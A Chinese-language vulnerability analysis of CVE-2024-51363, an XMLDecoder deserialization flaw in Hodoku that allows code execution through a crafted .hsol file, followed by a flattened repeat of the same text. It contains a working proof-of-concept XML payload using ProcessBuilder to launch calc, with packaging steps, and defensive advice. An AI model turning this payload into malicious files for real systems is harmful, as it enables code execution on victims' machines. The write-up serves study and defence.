Hodoku 反序列化RCE漏洞分析(CVE-2024-51363)
字数 609 2025-08-22 12:22:42

Hodoku反序列化RCE漏洞分析(CVE-2024-51363) 教学文档

漏洞概述

Hodoku软件存在一个XML反序列化漏洞(CVE-2024-51363),攻击者可以通过构造恶意的.hsol文件实现远程代码执行(RCE)。

漏洞原理

该漏洞源于Hodoku在处理.hsol文件时使用了不安全的XML反序列化操作,攻击者可以通过构造恶意的XML数据来执行任意代码。

漏洞触发路径

完整的漏洞触发链如下:

initComponents() 
→ loadPuzzleMenuItemActionPerformed() 
→ loadFromFile() 
→ loadFromFile()

关键代码分析

漏洞位于loadFromFile方法中,关键代码如下:

if (fileType == 1) {
    ZipInputStream zIn = new ZipInputStream(new FileInputStream(path));
    zIn.getNextEntry();
    XMLDecoder in = new XMLDecoder(zIn);
    GuiState state = new GuiState(this.sudokuPanel, this.sudokuPanel.getSolver(), this.solutionPanel);
    Object sudokuTemp = in.readObject();  // 漏洞点:不安全的XML反序列化
    ...
}

漏洞利用条件

  1. 文件类型(fileType)必须为1
  2. 文件扩展名应为.hsol
  3. 文件内容为ZIP压缩的XML格式数据

漏洞利用步骤

1. 构造恶意XML

创建包含恶意命令的XML文件,例如:

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>

2. 压缩文件

将上述XML文件使用ZIP格式压缩

3. 修改扩展名

将压缩后的文件扩展名改为.hsol

防御建议

  1. 避免使用XMLDecoder进行反序列化操作
  2. 如果必须使用XMLDecoder,应实现输入验证和过滤
  3. 使用白名单机制限制反序列化的类
  4. 更新到修复后的版本

技术要点总结

  1. 漏洞类型:不安全的XML反序列化导致的RCE
  2. 触发方式:通过加载恶意构造的.hsol文件
  3. 关键类:XMLDecoder
  4. 利用条件:控制.hsol文件内容
  5. 影响:可导致任意代码执行

参考

原始漏洞分析来自先知社区,作者:赛博韭菜,发布时间:2024-12-10

Hodoku反序列化RCE漏洞分析(CVE-2024-51363) 教学文档 漏洞概述 Hodoku软件存在一个XML反序列化漏洞(CVE-2024-51363),攻击者可以通过构造恶意的.hsol文件实现远程代码执行(RCE)。 漏洞原理 该漏洞源于Hodoku在处理.hsol文件时使用了不安全的XML反序列化操作,攻击者可以通过构造恶意的XML数据来执行任意代码。 漏洞触发路径 完整的漏洞触发链如下: 关键代码分析 漏洞位于 loadFromFile 方法中,关键代码如下: 漏洞利用条件 文件类型(fileType)必须为1 文件扩展名应为.hsol 文件内容为ZIP压缩的XML格式数据 漏洞利用步骤 1. 构造恶意XML 创建包含恶意命令的XML文件,例如: 2. 压缩文件 将上述XML文件使用ZIP格式压缩 3. 修改扩展名 将压缩后的文件扩展名改为.hsol 防御建议 避免使用XMLDecoder进行反序列化操作 如果必须使用XMLDecoder,应实现输入验证和过滤 使用白名单机制限制反序列化的类 更新到修复后的版本 技术要点总结 漏洞类型:不安全的XML反序列化导致的RCE 触发方式:通过加载恶意构造的.hsol文件 关键类:XMLDecoder 利用条件:控制.hsol文件内容 影响:可导致任意代码执行 参考 原始漏洞分析来自先知社区,作者:赛博韭菜,发布时间:2024-12-10